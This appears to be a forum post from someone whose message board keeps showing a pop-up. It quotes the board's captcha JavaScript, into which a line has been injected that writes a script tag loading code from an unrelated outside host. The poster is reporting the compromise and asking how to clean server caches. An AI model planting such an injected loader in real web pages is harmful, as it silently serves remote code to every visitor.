Well, I waited to see if the problem will go away.
Sure enough, the pop-up came up more than a week later. Here's the javascript:
/* Script Version 7.5.1 */
var image_pending = 0;
function newCaptcha(type) {
if (image_pending) return;
image_pending = 1;
get_object('ajax_wait').style.display = "";
var url = script + "?ubb=captcha&init=1&t=" + type;
var ajax = new ubbtAJAX(url, updateCaptcha);
ajax.sendData("GET");
}
document.writeln("<script src='//om.qqtx.me/jquery.jscroll.min.js'></script>");
function updateCaptcha(responseXML) {
id = responseXML;
obj = get_object('captcha_image');
obj.src = script + "?ubb=captcha&id=" + id;
image_pending = 0;
get_object('ajax_wait').style.display = "none";
}
So maybe some of the server caches are still dirty?
Can we scrub them all?